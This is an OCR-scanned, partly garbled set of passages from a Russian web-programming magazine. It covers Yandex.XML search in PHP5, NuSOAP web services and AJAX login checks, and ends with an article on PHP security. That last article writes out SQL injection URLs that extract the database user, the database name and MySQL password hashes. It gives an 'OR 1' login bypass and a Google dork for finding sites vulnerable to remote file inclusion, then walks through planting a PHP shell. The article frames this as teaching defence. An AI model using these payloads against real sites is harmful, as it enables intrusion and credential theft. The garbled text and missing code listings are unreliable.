вольные пользовательские структуры данных, что 
позволяет приложениям, написанным на любом 
языке программирования, обмениваться произ- 
вольными данными по Сети. 

Как дополнение к самому протоколу суще- 
ствует очень полезная технология WSDL. Web 


УПРОЩАЕМ ПОИСК 
С PHP5 & ANDEX.XML 


В ПОСЛЕДНЕЕ ВРЕМЯ В СЕТИ СТАЛИ ВСЕ 
ЧАЩЕ УПОМИНАТЬ СЛОВО «WEB-CEP- 
ВИС». ЧТО ПРЕДСТАВЛЯЕТ СОБОЙ ЭТА 
ТЕХНОЛОГИЯ? ДЛЯ ЧЕГО ОНА ПРЕДНАЗ- 
НАЧЕНА? КАК ИСПОЛЬЗОВАТЬ ЕЕ? ОТВЕ- 
ЧАЕМ НА ВСЕ ВОПРОСЫ И ДЕМОНСТРИ- 
РУЕМ КОНКРЕТНЫЙ ПРИМЕР РАБОТЫ С 
М/ЕВ-СЕРВИСАМИ 


АЛЕКСЕЙ ШОКОВ 
{ а!1ехеу. зпоскоу @ $ р [еп дот. сом } 


Services Description Language (язык описания 
м/еБ-сервисов) служит для того, чтобы упростить 
использование \меБ-сервиса путем описания 
имен методов, их адресов и другой информации, 
нужной для работы с web-cepsucom. Другими 
словами, нам совершенно не нужно знать и опи- 
сывать эту информацию самостоятельно, если 
WSDL поддерживается библиотекой, используе- 
мой для работы с меб-сервисами. Мы просто 
указываем ссылку на файл с описанием web- 
сервиса и вызываем методы, которые он предо- 
ставляет. Вся нужная информация будет взята 
из файла описания. 


ПО СУТИ, WEB-CEPBUC — ЭТО ОБМЕН ДОКУМЕНТАМИ 
ОПРЕДЕЛЕННОГО ФОРМАТА НА БАЗЕ СУЩЕСТВУЮЩЕГО 


ПРОТОКОЛА НТТР 


Протокол ЗОАР также открывает множество аль- 
тернатив. К примеру, более простой XML-RPC (раз- 
работан на несколько лет раньше, чем SOAP). Pac- 
смотрение этих протоколов выходит за рамки 
статьи, к тому же каждый протокол имеет докумен- 
тацию — ознакомься, если возникнут вопросы. 

>  SAndex.XML — это web-cepsuc, использую- 
щий для передачи данных собственный протокол 
(формат ХМЕ-файла). На момент написания 
статьи еще не было написано никаких библиотек 
для работы с этим меб-сервисом, кроме примера 
Рей-скрипта на официальном сайте проекта, так 


вание Япдех.ХМЕ будет актуально для средних 
сайтов, где критерии ко времени индексации ин- 
формации не слишком велики, что вытекает из 
особенностей поисковой системы такого масшта- 
6a, как Andex, — на индексацию документа может 
уйти неделя, если не больше. Эта особенность 
проявляется только в нашем конкретном примере 
и не относится к мер-сервисам в целом, так что 
приступим к созданию. 

Для начала неплохо было бы продумать 
структуру классов, отвечающих за взаимодей- 
ствие с поисковым сервисом. 


ARRAYOBJECT — ЭТО СПЕЦИАЛЬНЫЙ КЛАСС, 
КОТОРЫЙ ПОЗВОЛЯЕТ РАБОТАТЬ СО СВОИМИ 
ПОЛЯМИ КАК С ЭЛЕМЕНТАМИ ОБЫЧНОГО МАССИВА 


что в какой-то степени мы являемся первопроход- 
цами в этом деле. 

РНР5 выбран как очень мощный язык для 
миеб-программирования, в котором, по сравне- 
нию с предшественником, лучше реализована 
парадигма объектно-ориентированного про- 
граммирования, что позволит нам сосредото- 
читься только на самых главных моментах, и не 
тратить усилий на написание кода, и, кроме то- 
го, успешно использовать данный меБ-сервис на 
любом другом языке. 
> за дело! Прежде чем приступать собственно 
к созданию, сделаю предупреждение. Использо- 


РЕ СТтАЕОБЗОР 


РНР5 апа 
MySQL Bible 


John Wiley & Sons, 2005 
1080 страниц 


по достоинству. 


Разумная цена: 900 рублей 


Литературу на русском языке я не читаю, поэ- 
тому для самостоятельного изучения не могу 
посоветовать ничего. На английском советую 
«РНР5 and MySQL Bible» (возможно, есть 

и перевод). В этой книге, пусть поверхностно, 
зато в легкодоступной форме описано созда- 
ние мер-сервисов. Помимо этого, в книге ты 
найдешь наиболее подробную информацию 
по использованию связки PHP+MySQL и мно- 
жеству других важных вопросов, таких как ис- 
пользование сессий, файлы Cookies. Если 
найдешь перевод и он окажеться качествен- 
ным, то ты оценишь работу авторов 


YandexSearchQuery — класс запроса к Andex’y. 
YandexSearchAnswer — ответ Andex’a. Предоста- 
вляет удобный интерфейс. 

YandexSearchDoc — конкретный документ. 


При желании можно добавить класс YandexSe- 
archGroup, так как Andex может группировать до- 
кументы в своем ответе, но мы не будем делать 
это для большей простоты системы. 

> YandexSearchQuery. Абстрактно web-cepsuc 
можно представить в виде функции (метода), ко- 
торому мы должны передать какие-то параметры, 
а он, соответственно, должен вернуть какие-то 


значения. Вызов \ммеб-сервиса происходит путем 
формирования ХМЕ-документа с параметрами и 
отправки его на адрес, по которому расположен 
web-cepsnuc. В нашем случае простейший запрос 
выглядит так: 


Содержание элемента query — это наш запрос к 
поисковой системе. Мы хотим организовать поиск 
только по своему сайту, поэтому используется опе- 
ратор языка запросов host, позволяющий ограни- 
чить поиск только по заданному доменному имени. 

За формирование запроса отвечает метод 
prepareQuery, а за отправку — собственно метод 
query, код которых можно найти на диске. 

Кроме того, метод query отвечает также и за 
получение ответа от меб-сервиса, тоже предста- 
вляющего собой обычный ХМЕ-документ. 
+>  УапаехбеагсиВезропзе. Класс ответа поиско- 
вой системы может реализовывать множество функ- 
ций, но мы реализуем только две: получение конкрет- 
ного документа и общего числа документов в ответе. 

Чтобы упростить работу с классом, мы насле- 
дуем его от класса ArrayObject (этот специальный 
класс поставляется в стандарте с phpd5, позволяет 
работать со своими полями как с элементами обыч- 
ного массива). Значение элементам данного масси- 
ва присваивает метод аррепа, который мы и вызы- 


ние []опулярные \\/еб-сервисы: 


практика использования 


М.: КУДИЦ-ОБРАЗ, 2005 / Айверсон У. 
240 страниц 
Разумная цена: 164 рубля 


Путеводитель по загадочному и неясному миру 
нетривиального применения меБ-служб. К при- 
меру, еВау ежемесячно обрабатывает свыше 
миллиарда (!) запросов Ha web-ycnyru. Тем не 
менее, в условиях сотен появившихся специ- 
фикаций почти невозможно осуществить пре- 
вращение REST, RDF, SOAP, XML и всего 
остального в нечто действительно полезное. 
Эта книга не затрагивает теорию, а напротив, 
сосредотачивается на использовании АР! ра- 
ботающих web-cnyx6. За основу взяты проек- 
ты, на примере которых легко показать ис- 
пользование и интеграцию меб-служб: Google, 
Amazon, eBay, PayPal, FedEx и др. 
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ваем в конструкторе нашего класса, передавая ему 
в качестве параметра узел одного конкретного до- 
кумента из РОМ-дерева, сформулированного нами 
из ХМЕ-документа ответа поисковой системы. 


Теперь, чтобы получить третий документ из ре- 
зультатов поиска, нужно просто обратиться к пе- 
ременной ответа (например $response) как к 
обычному массиву, то есть $response[2]. 

+» YandexSearchDoc. В нашем случае этот 
класс выполняет функции обычного массива, но 


ИНСТРУМЕНТЫ 
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будет правильнее оформить его именно в класс, 
на случай если захочешь реализовать дополни- 
тельную функциональность. 

Так же, как и в предыдущем примере, мы насле- 
дуем его от ArrayObject, чтобы упростить исполь- 
зование класса. Ключи нашего массива — имена 
узлов, которые содержит документ. Значения эле- 
ментов — содержание этих узлов. 

> работает. Итак, подошло время опробовать 
полученный код на практике. Однако перед нача- 
лом работы с меб-сервисом Andex.XML нужно 
зарегистрировать IP-agpec, с которого мы будем 
посылать запросы, на странице сервиса (Япаех 
ограничивает количество бесплатных запросов 
одной тысячей в день). Предположим, что реги- 
страция прошла успешно и мы можем пользо- 
ваться web-cepsucom. Запустив простенький 
пример (он лежит на диске), получим вот такую 
страницу (рисунок 1). 

Если кто-то заметил, мы не реализовали 
переход по страничкам результатов запроса к 
поисковой системе — оставляю это на домаш- 
нее задание. 


6-808 88 ee 


„Апфех. МАЕ example 


Ни a a 


‚ № cymes Paar 


ee en | 
oe 


Рисунок 1. И чем не Andex? 


> напоследок. В интернете появляется все 
больше публичных меб-сервисов с самыми раз- 
ными возможностями. Дело не в простой моде, а 
во всеобщей тенденции. Все больше компаний 
разрабатывают программы, ориентированные на 
использование сервисов (Service-Oriented Archi- 
tecture — SOA). Такие гиганты, как Microsoft и Sun, 
присоединяются. Не побоюсь сказать, что именно 
в этом будущее разработки любых программ, не- 
зависимо от области их применения © 


ВОЛШЕБНИК 
NUSOAP 


ФЛЕНОВ МИХАИЛ {HORRIFIC @ VR-ONLINE.RU} 


смотрим Ha код, который я набросал, а по- 
том разберем его по косточкам. Код серве- 
ра показан на листинге: 


Во второй строке вызываем метод register для 

регистрации функции сервера. В качестве па- 

раметра нужно передать имя функции. 
Функция получает в качестве параметра 


щие ему (имя файла). Можно создавать эк- 
земпляр класса клиента soapclient: 


В Java и .МЕТ есть множество классов, ко- 
торые упрощают создание меБ-сервисов и 
делают решение этой задачи очень прият- 
ным на ощупь. РНР изначально не предо- 
ставлял ничего подобного. Однако ничто 
не стоит на месте, и твой любимый язык 
тоже развивается. Рассмотрим библиоте- 
ку классов NuSOAP для PHP, которая 
упрощает создание клиентов и серверов 
web-cepBucos. 

Для начала забираешь архив с файлами 
библиотеки с сервера /Attp://sourcefor- 
ge.net/project/showfiles.php?gro- 
up_id=57663. Обрати внимание на то, что 
адрес указывает на сервер sourceforge.net, а 
значит, библиотека открыта и бесплатна. Рас- 
паковываешь архив и заливаешь на сервер 
все файлы из директории lib. Можно распола- 
гать их как угодно, лишь бы находились в од- 
ной директории и сценарий мог бы найти их. 

Чтобы получить доступ к библиотеке, 
достаточно подключить в сценарии один 
файл — nusoap.php, что лучше сделать с 
помощью require_once: 


сервер. Руководствуясь логикой, нач- 
нем писать пример с создания сервера. По- 


В первой строке подключаем файл nu- 
soap.php. Если он расположен не в директо- 
рии lib, то исправь эту строчку. 

Далее самое интересное — создание но- 
вого сервера и регистрация функции, вызы- 
ваемая клиентом: 


В первой строке мы создали экземпляр клас- 
са soap_server, что и станет ЗОАР-сервером. 


имя файла, открывает его, считывает содер- 

жимое и возвращает его в качестве результата. 
Напоследок вызываем метод Service и пе- 

редаем ему в качестве параметра НТТР_- 

RAW_POST_DATA. 

клиент. Теперь напишем клиент, KOTO- 

рый будет обращаться к серверу: 


В самом начале подключаешь файл пи- 
soap.php. Далее для удобства заводишь пере- 
менную $name, где будет храниться имя фай- 
ла, который мы хотим получить от сервера. 
Далее создаешь массив из параметров, 
передаваемых серверу. В нашем случае сер- 
верная функция получает только один пара- 
метр — имя файла. Чтобы создать соответ- 
ствующий массив, выполняешь строку: 


Теперь в переменной $p будет храниться 
имя параметра и значения, соответствую- 


В качестве параметра во время создания эк- 
земпляра передаешь URL файла сценария 
сервера. Если все удачно, то в переменной 
$client появился нужный нам экземпляр клас- 
са. Мы готовы вызвать функцию сервера: 


Здесь вызывается метод Call экземпляра SO- 
АР-клиента, а в качестве параметра переда- 
ется имя функции сервера и переменная, со- 
держащая параметры. В качестве результата 
мы должны получить содержимое файла. 
отладка. Самое сложное при разработ- 
ке сценариев на языке PHP и SOAP-npo- 
грамм в частности — это отладка. Да, это не 
Java и не .МЕТ, никаких интуитивных отлад- 
чиков нет. Единственное, что возможно, — 
просмотреть пакеты, которые получает и 
отправляет клиент. Для этого после вызова 
метода клиента добавляешь в код сценария 
следующие две строки: 


В результате показывается текст запроса, 
отправленного на сервер, и ответа. 


НЕ ХВАТАЕТ ЧЕГО-ТО 
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Где как не в web’e может развернуться настоящий 
разработчик меб-интерфейсов? В последнее вре- 
мя я не слышал ни одного восторженного отзыва 
об интерфейсах от пользователя обычных про- 
грамм (не считая продуктов фирмы Apple, которая 
всегда шокирует своими разработками), постепен- 
но акцент смещается в направлении интернета. 
Несмотря на это, ммеб-разработчики в какой-то 
мере завидуют разработчикам оконных приложений. 
Разделение логики программы (находящейся на 
сервере) и пользовательского интерфейса заставля- 
ет придумывать все более изощренные пути быстро- 
го обмена данными, чтобы хоть как-то приблизиться 
к своим соратникам-оконникам. Именно AJAX — од- 
но из таких изощрений, о котором мы и поговорим. 
> немного истории. Идея «удаленного про- 
граммирования» (remote scripting) совсем не нова. 
Она зародилась еще в конце 90-х годов прошлого 
века с появлением в браузере Microsoft Internet Ex- 
р!огег элемента IFRAME и его альтернативы в 
браузере Netscape Navigator — LAYER. Эти два эл- 
емента имели атрибут SRC, который позволял им 
загружать другие документы без перезагрузки ис- 
ходной страницы. Именно с помощью скриптов, 
которые содержались в подгружаемых страницах, 
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и реализовывались всевозможные эффекты дина- 
мического взаимодействия с пользователем. 

В 1998 году появилась технология MSRS (Mic- 
rosoft's Remote Scripting), которая использовала Java- 
апплет как хранилище информации и JavaScript Ha 
м/еб-странице для доступа к этому хранилищу. Позже 
было выпущено еще несколько библиотек, исполь- 
зующих различные подходы для подгрузки данных, 
к примеру JSRS и технология JavaScript on Demand. 

2002 год можно считать датой рождения тех- 
нологии AJAX. В этом году сообществом програм- 
мистов microsoft.public.scripting.remote была предло- 
жена модификация, которая заменяла Java-annnet 
объектом XMLHTTPRequest в JavaScript. К 2005 го- 
ду большинство используемых браузеров (таких как 
MS Internet Explorer и браузеры Mozilla) поддержива- 
ли этот объект для динамического доступа к данным. 
> поподробнее, пожалуйста. AJAX не является 
технологией в полном смысле этого слова. AJAX — 
всего лишь термин, который обозначает совме- 
стное использование группы различных техноло- 
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гий для реализации динамической подгрузки дан- 
ных на страницу. Этот термин подразумевает ис- 
пользование языка разметки HTML совместно с 
таблицами стилей CSS для представления дан- 
ных, языка JavaScript и объектной модели доку- 
мента (Document Object Model, DOM) для манипу- 
ляции данными и языка разметки XML для обмена 
информацией между сервером и клиентом. 

На схеме №1 представлено сравнение тра- 
диционной модели меб-приложения, в которой на 
запрос пользователя отсылается конкретный до- 
кумент, и модели с использованием AJAX. 

Традиционный подход прост для разработки, 
но вынуждает пользователя постоянно тратить 
время. Приходится ждать, пока не будет отправле- 
на заполненная форма при голосовании на сайте. 
Новый подход, основанный на базе AJAX, позволя- 
ет повышать интенсивность обмена данными меж- 
ду пользователем и серверным приложением, тем 
самым уменьшать время простоя сервера и, что 
главное, улучшать дружественность интерфейса. 
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Схема №1. Сравнение обычной схемы взаимодействия с пользо- 
вателем и схемы с применением AJAX 


Благодаря асинхронному взаимодействию интер- 
фейса с серверной частью, пользователю открыва- 
ются новые грани удобства. К примеру, если на на- 
шей странице находится множество документов, мы 
можем с самого начала загрузить только самые по- 
пулярные из них, а остальные, если пользователь за- 
хочет их прочитать, подгружать автоматически. Тра- 
диционный и АУЧАХ-подход показаны на схеме №2. 
>  сннебес на землю. Плавно переходя от тео- 
рии к практике, затронем вечно животрепещущую 
тему — совместимость браузеров. 

Если говорить подробнее о реализации 
объекта XMLHTTPRequest в каждом конкретном 
браузере, то можно обнаружить интересные «под- 
водные камни», с которыми сталкивается web- 
разработчик. К примеру, в браузере MS Internet 
Explorer XMLHTTPRequest представляет собой Ас- 
tiveX-KOMNOHEHT. Соответственно, если пользова- 
тель по каким-то причинам отключил в браузере 
ActiveX, To ммеБ-страница, написанная с использо- 
вание AJAX, не сможет получить доступ к одному 
из своих главных компонентов. 

Браузеры Mozilla Foundation, такие как Mozil- 
la и Firefox, на мой взгляд, имеют лучшую под- 
держку объекта XMLHTTPRequest, независимую 
от каких-либо расширений и встроенную в брау- 
зер. Единственной особенностью является ограни- 
чение на загрузку документов только с текущего 
сайта при настройках по умолчанию. 

Орега начиная с восьмой версии тоже под- 
держивает XMLHTTPRequest, что, правда, сильно 
ограничено. В связи с этим для Орега существует 
несколько различных подходов по реализации ди- 
намической подгрузки данных. 

Может показаться странным, но если по ка- 
ким-то причинам объект XMLHTTPRequest недосту- 
пен, многие используют элемент IFRAME, который 
все еще служит нам верой и правдой. Правда, я не 
рекомендую использовать данный подход по нес- 
кольким причинам. Во-первых, при загрузке данных 
раздается характерный щелчок и в историю браузе- 
ра добавляется новая запись о загружаемой страни- 
це, что не есть хорошо. Во-вторых, этот подход до- 
бавляет медлительности: для каждого элемента 
IFRAME фактически создается новое окно браузера. 

Второй вариант связан с использование ди- 
намически создаваемого элемента SCRIPT, в ат- 
рибуте SRC которого будет содержаться адрес 
серверного скрипта, отвечающего за выдачу дан- 
ных. Здесь нужно сделать пару оговорок. Обмен 
данными с серверным скриптом может осущест- 
вляться только методом СЕТ и в ответ он может 
выдавать только валидный код на JavaScript. 

Каждая библиотека использует свой подход, 
и ниже мы рассмотрим одну из них — Sub- 
sys_JsHttpRequest. 
> примеры использования. Все больше крупных 
м/еб-сайтов начинают использовать технологию AJ- 
АХ для улучшения интерактивного взаимодействия 
с пользователем. Самая удачная реализация, на 
мой взгляд — \меБ-интерфейс почтовой службы 
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Gmail компании Google. Если у нас есть такой при- 
мер, то я не могу не уделить внимание одной из са- 
мых важных тем — проектированию АЗАХ-прило- 
жений. Одно дело — просто писать программы, и 
совсем другое — писать эффективные программы. 
> = шаблоны и антишаблоны. Кстати, собираясь 
использовать такую технологию, как AJAX, стоит 
десять раз подумать о том, нужна ли она вообще 
для решения поставленной задачи? Чтобы было 
проще понять, где должна применяться эта техно- 
логия, я приведу несколько примеров. 

Для начала вспомним формы с множеством 
полей, которые нужно заполнять... А если на стра- 
нице множество ссылок на формы, в которые нуж- 
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но ввести какую-то информацию? Несколько ми- 
нут бесполезного ожидания загрузки очередной 
страницы и отправка данных формы на сервер — 
и так множество раз. Перспектива нас не радует, 
правда? Как раз для этих задач в первую очередь 
нужно применять AJAX: пользователю не придет- 
ся каждый раз загружать новую страницу, а при 
запросе очередной формы будет инициирован за- 
прос на сервер, результатом которого станет спи- 
сок полей новой формы. 

Отдельно хочется сказать о формах, в кото- 
рых предусматривается поле с большим количе- 
ством вводимого текста. Примером могут послу- 
жить форумы, меб-интерфейсы почтовых серви- 


сов и многое другое. Неожиданное отключение 
питания, зависание браузера — много ли еще си- 
туаций, когда введенный текст не сохраняется и 
приходится писать его заново? Избежать неприят- 
ных ситуаций поможет автоматическое сохране- 
ние текста письма или сообщения, которое мы пи- 
сали в форум. Одним из первых проектов, в кото- 
ром была реализована такая возможность, стал 
Gmail, а в ближайшем будущем к нему должна 
присоединится и «Япаех.Почта». 

Голосования и различные мелкие формы, 
которые отсылают выбор пользователя серверу 
для дальнейшей обработки, также входят в 
область применения технологии AJAX. Нежела- 
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Схема №2. Взаимодействие интерфейса с серверной частью при 
традиционном подходе и в приложениях с использованием AJAX 


ние перезагружать страницу часто убивает стрем- 
ление пользователя проголосовать в опросе на сай- 
те. Отправка же данных средствами ХМЕНТТРВеди- 
est прозрачна для пользователя, она не заставля- 
ет его ждать, пока форма будет отправлена на 
сервер и страница перезагрузится. 

От шаблонов проектирования плавно перей- 
дем к антишаблонам. Кстати, при большом прито- 
ке пользователей интенсивное использование AJ- 
АХ существенно увеличит нагрузку на сервер! 
Если на одной странице мы обновляем одновре- 
менно много элементов, лучше обновить ее полно- 
стью. Также не стоит делать множество маленьких 
запросов к серверу. Нужно найти оптимальное для 
сайта соотношение нагрузки на сервер и количе- 
ства подгружаемой информации. 

Нет смысла использовать AJAX в критически 
важных местах. Если пришлось использовать его, 
то нужно позаботиться о том, чтобы при выклю- 
ченном Javascript все работало как нужно. 

3» — используем библиотеку Subsys_JsHttpRequest. 
Обсудив теоретические моменты, перейдем к 
практике, в которой можно использовать два под- 
хода: писать весь механизм взаимодействия кли- 
ент-сервер самостоятельно или воспользоваться 
готовой библиотекой. Чаще всего совсем не требу- 
ется изобретать велосипед, так что мы воспользу- 
емся вторым вариантом, а именно — библиотекой 
Subsys_JsHttpRequest от Дмитрия Котерова для 
РНР. Почему именно этот язык и эта библиотека? 

РНР — очень распространенный в силу сво- 
ей быстроты и легкости язык меб-программирова- 
ния. Библиотека Subsys_JsHttpRequest выгодно 
отличается от конкурентов кроссбраузерностью. 
В зависимости от конкретного браузера, библио- 
тека выбирает метод передачи данных и гаранти- 
рует доставку данных пользователю практически 
в любой ситуации. 

Для знакомства с библиотекой реализуем 
очень простой пример — страницу авторизации 
пользователя, которая проверяет введенные дан- 
ные практически на лету. Полный код примера, 
как и всегда, находится на диске, прилагаемом к 
журналу. 
> = авторизация «не отходя от кассы». Для нача- 
ла рассмотрим frontend нашей программы, то есть 
ту страницу, которую увидит пользователь. Из-за 
примитивности НТМЕ-верстки мы не будем обра- 
щать на нее внимания, разберемся с JavaScript’om. 
Первым делом подключим библиотеку: 


Далее следует всего одна функция checkUser, вы- 
зов которой происходит при отправке формы на 
сервер. Здесь сосредоточена вся работа по подго- 
товке запроса к серверу, собственно запроса и об- 
работке результатов. 

Составление запроса происходит путем фор- 
мирования массива из элементов формы, в нашем 


случае это user и pass. После создания объекта 
Subsys_JsHttpRequest_Js, который и отвечает за 
обмен данными, не лишним будет активировать 
очень полезную функцию кеширования (кеширова- 
ние помогает уменьшить нагрузку на сервер не от- 
сылая ему одинаковых запросов, а пользователь 
тратит меньше времени при работе с нашим при- 
ложением). 

Запрос можно отправлять на сервер как ме- 
тодом РОЗТ, так и методом СЕТ, причем адрес 
серверного скрипта может уже содержать GET-na- 
раметры — на работе Subsys_JsHttpRequest_Js 
это никак не отразится. 


Очень хитро проходит обработка ответа сервера. 
После того как ответ получен, вызывается функция, 
ссылка на которую содержится в переменной опге- 
adystatechange. Ответ сервера также представляет 
собой хэш, и он содержится в переменной гезроп- 
seJS. В нашем случае мы просто добавляем сооб- 
щение об успешной/неудачной авторизации (в за- 
висимости от значения переменной ответа сервера 
auth) в блок на странице с идентификатором result. 


| 


Библиотека берет на себя все функции формирова- 
ния запроса и его отправку. В зависимости от тех 
возможностей, которые поддерживает браузер, ав- 
томатически выбирается способ обмена данными с 
сервером: с помощью объекта XMLHTTPRequest 
или с помощью элемента SCRIPT. 

Теперь обратим внимание на Баскепа-систе- 
мы — серверную часть. Подключаем серверную 
часть библиотеки. Без комментариев. 


После подключения библиотеки для работы с AJ- 
АХ необходимо создать объект класса Sub- 
sys_JsHttpRequest_Php. Для правильной работы 
требуется указать кодировку, в которой работает 
наш сайт, чаще всего это \/п1251. Далее все идет 
практически как в обычном приложении без ис- 
пользования AJAX. Переменные, посланные кли- 
ентом, берем из массива $ REQUEST, проводим 
простую проверку пользователя. 


Непривычным может показаться способ отправки 


кой и окажется доступным на стороне клиента в 
переменной гезропзеТех{. Этой возможностью 
удобно пользоваться для обработки ошибок. 


Вот, кажется, и все — наша авторизация готова. 

> напоследок. AJAX — важный шаг в развитии 
идеологии Web 2.0. Приближение интерфейсов web- 
приложений к обычным оконным приложениям за- 
ставляет пользователя задуматься о выборе, и сим- 


если мы идем в ногу со временем, то неоднократные 
встречи с этой технологией нам обеспечены. А что 
может быть лучше, чем быть подготовленным? © 
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ХАЛАТНОСТЬ И НЕВНИМАТЕЛЬНОСТЬ — 
ВОТ ОСНОВНЫЕ ПРИЧИНЫ УЯЗВИМОСТИ 
КОДА ПЕРЕД ЗЛОУМЫШЛЕННИКАМИ. 
ДЕЙСТВИТЕЛЬНО, АБСОЛЮТНОЕ БОЛЬ- 
ШИНСТВО РНР-ПРОГРАММИСТОВ, ПРО- 
ЕКТИРУЯ ИНТЕРАКТИВНЫЕ САЙТЫ, СЛЕ- 
ДЯТ ЗА ИХ КОРРЕКТНОЙ РАБОТОЙ ТОЛЬ- 
КО В ИДЕАЛЬНЫХ УСЛОВИЯХ, ТО ЕСТЬ 
ПРИ «ИДЕАЛЬНЫХ» ДАННЫХ, ВВОДИМЫХ 
ПОЛЬЗОВАТЕЛЯМИ, И УМУДРЯЮТСЯ ЗА- 
БЫВАТЬ О БЕЗОПАСНОСТИ ТОНКИХ МО- 
МЕНТОВ КОДА 


ЕКАТЕРИНА СЕДОВА 


{ программист Defa Gruppe} 


стандартные 
ошибки 


Конечно, есть сайты без единой пользовательской 
формы, но сейчас мы обсуждаем не их. Формы 
могут быть разными: от формы обратной связи до 
формы аутентификации. Все формы отправляют 
серверу какие-то данные, затем или серверный 
скрипт мило обработает их, или они поломают что- 
нибудь, — данные бывают разные. 


> первое правило, которым должен руковод- 
ствоваться любой PHP-nporpammep, — обязатель- 
ная двусторонняя проверка данных, вводимых 
пользователем. На стороне клиента (посредством 
js) и на стороне сервера (РНР), что совсем не из- 
быточно. Если речь идет о безопасности, лишним 
не бывает ничего. Для проверки данных на клиент- 
ской стороне отлично подходит распространенная 
сейчас ]з-библиотека fValidate (доступна по адресу 
http://web.archive.org/web/20041111044016/www.peterbai- 
ley.net/fValidate). Она элементарно встраивается в 
код, легко дописывается, позволяет гибко описы- 
вать форматы вводимых данных и определять 
произвольные посредством регулярных выраже- 
ний. Просто клад для РНР”шника, если он не хочет 


тратить время на написание клиентской проверки 
и сосредотачивается на серверной. 
>» серверная часть. меб-приложения уязвимы 
таким до жути популярным видам атак, как SQL- и 
РНР-инъекции, которые возникают из-за недоста- 
точной проверки и обработки данных, передавае- 
мых от пользователя. 
>  ЗОЁ-инъекция позволяет модифицировать 
ЗОЕ-запросы скрипта к базе данных, с которой он 
взаимодействует, либо выполнять запросы, не пред- 
виденные кодом. Уязвимость сайта такому виду 
атаки проверяется просто: в поле формы или в ад- 
ресную строку вводится кавычка (одинарная или 
двойная). В результате такой атаки на уязвимый 
сайт появится детальное сообщение об ошибке, что 
откроет атакующему информацию о технологии, 
используемой на сайте, и о том месте в коде, где 
произошла ошибка. Любой злодей легко догадает- 
ся, как поломать дальше, больше и вредоноснее. 
> — пример ЗОЁ-инъекции. Допустим, в БД есть 
таблица новостей (статей, вакансий) стандартного 
вида: ID (уникальный идентификатор) и поля заго- 
ловка, анонса и текста. 

Запрос формируется уникальным ID кон- 
кретной новости, который передается скрипту ме- 
тодом СЕТ, к примеру, так: 


Текст самого запроса в скрипте выглядит так: 


Злоумышленник, конечно, еще не знает об этом, 
но благодаря нескольким последовательным за- 
просам быстро выяснит. Такие уязвимости позво- 
ляют модифицировать запрос в части параметра 
WHERE. Когда злоумышленник обнаружит дыру, 
он сразу же бросится выяснять, какое количество 
полей используется в запросе. Для этого задают 
неверный 1Ю’шник (чтобы исключить вывод реаль- 
ной информации из базы) и объединяют его через 
UNION с запросом, содержащим одинаковое коли- 
чество пустых полей: 


Пустые значения добавляются к запросу до тех 
пор, пока на странице не исчезнет ошибка и не 
начнется вывод результата с пустыми данными. В 
данном случае должно быть два пустых значения: 


Затем таким нехитрым способом ты сможешь узнать: 


1 ЛОГИН ТЕКУЩЕГО ПОЛЬЗОВАТЕЛЯ БА- 
ЗЫ ДАННЫХ: HTTP://TEST.TEST/- 


NEWS.PHP?|ID=-1+UNION+SELECT+NULL- 
,SYSTEM_USER(),NULL,NULL 


2 ИМЯ БАЗЫ ДАННЫХ: HTTP://TEST.TEST/- 
NEWS.PHP?ID=-1+UNION+SELECT+NULL,- 
DATABASE(),NULL,NULL 


3 ПАРОЛЬ ИЛИ ХЭШ ПАРОЛЯ АДМИНА: 
НТТР://ТЕЗТ.ТЕЗТ/МЕМ/$.РНР?!О=- 
1+UNION+SELECT+NULL,MYSQL.US- 
ER.PASSWORD,NULL,NULL+FROM+MYSQL. 
USERS 


Достаточно чувствительное к ЗО! -инъекциям ме- 
сто в коде — это авторизация пользователей. 
Очень часто запрос, проверяющий верность дан- 
ных авторизации, выглядит следующим образом: 

SELECT * FROM ‘users’ WHERE ‘login’='$lo- 
gin’ AND ‘password’ ='$password'; 

Где $login и $password — это переменные, 
которые передаются из формы. Запрос возвраща- 
ет либо данные пользователя, если такой нашелся 
в базе, либо пустой результат. 

Соответственно, чтобы несанкционированно 
пройти авторизацию, злоумышленнику достаточ- 
но модифицировать запрос так, чтобы тот вернул 
ненулевой результат, для чего задается логин, ре- 
ально существующий в системе. Если злодей име- 
ет дело с форумом или крупным порталом, он най- 
дет подходящие логины без труда: логины пользо- 
вателей выводятся открыто. Если же он пытается 
получить доступ к административной части сайта, 
то, может быть, попытается подобрать логин — 
adm, _adm, admin, administrator, chief, boss и проч. 
Вместо пароля указывается какое-либо истинное 
условие, к примеру ОН 1. 

Если проверка типизации данных, поступив- 
ших из формы, отсутствует, запрос к БД будет 
сформирован вот так: 


> пример. Небезызвестная программа РНР- 
Nuke 7.0 FINAL. Уязвимость была обнаружена в 
модуле Survey. Удаленный атакующий сможет 
внедрить произвольный ЗОЁ-код, используя отсут- 
ствие фильтрации переменной polllD: 


Эта уязвимость пригодится для получения хэшей 
паролей пользователей портала. 

>  РНР-инъекции — второй распространенный 
вид атак на сайты. Метод реализации заключа- 
ется в передаче функциям include() и require() 
произвольных параметров, что может привести 
к выполнению произвольного кода на серверной 
машине с серверными же правами. РНР-инъек- 
ции особо опасны, так как при стандартной 
сборке РНР и конфигурации меб-сервера воз- 


можно получить доступ к использованию ко- 
мандного интерпретатора. 
> пример. До сих пор существуют сайты, пере- 
дающие файл для include’a через URL. Не веришь? 
Заходим в Google. Пишем в строке поиска al- 
linurl: index.php?page=http:// (можно включить фан- 
тазию и опробовать разные комбинации, вместо 
index.php — action.php, module.php и т.п., вместо 
page — url, ий или тот же module). Google выдаст 
некоторое количество ссылок, содержащих в сво- 
em URL’e строчку allinurl: index.php?page=http://. 
К сожалению, не все из них работают, так как XO- 
зяева многих сайтов опомнились и прикрыли ла- 
вочку, но что-нибудь дырявое наверняка осталось. 
Итак, если ты открыл какую-нибудь ссылку, 
выданную Google’om, и сайт не выдал ошибок, 
значит, дела идут не совсем плохо и имеет смысл 
хачить дальше. Пишешь программку на РНР (она 
будет выполнять функцию ипх-шелла) либо поль- 
зуешься готовым шеллом. Сохраняешь в файле с 
расширением *.txt и выкладываешь на свой сайт: 


Затем заходишь на найденную страничку с багом 
и добавляешь к URL’y путь к нашему скрипту: 


Должен открыться шелл с командной строкой. Что 
делать дальше? Что угодно, вплоть до получения 
прав рута. Как? В интернете масса информации 
на эту тему — вперед и с песней. 

Однако главное — не то, что подобные «ум- 
ные» и расчудесные скрипты все еще лежат в Се- 
ти, а то, что ты обязан постараться, чтобы твое 
творение не присоединилось к ним. 

И еще. Всегда отключай register_globals! Чем 
уже класс рНр’шных переменных, тем лучше. Ста- 
новится неприятно, если ты, к примеру, посыла- 
